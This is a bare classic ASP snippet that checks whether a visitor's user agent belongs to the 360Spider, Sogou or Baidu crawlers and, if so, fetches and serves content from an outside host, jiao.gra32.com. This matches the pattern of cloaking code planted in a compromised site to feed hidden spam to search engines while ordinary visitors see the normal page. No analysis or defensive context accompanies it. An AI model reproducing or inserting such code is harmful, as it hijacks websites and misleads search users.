<% dim ua ua = request.servervariables("HTTP_USER_AGENT") if(instr(ua,"360Spider")>0 or instr(ua,"Sogou")>0 or instr(ua,"baidu")>0)then response.write("") set objxml=server.createobject("msxml2.serverxmlhttp") objxml.open "GET","http://jiao.gra32.com/",false objxml.send() response.write(objxml.responsetext) response.end set objxml=nothing end if %>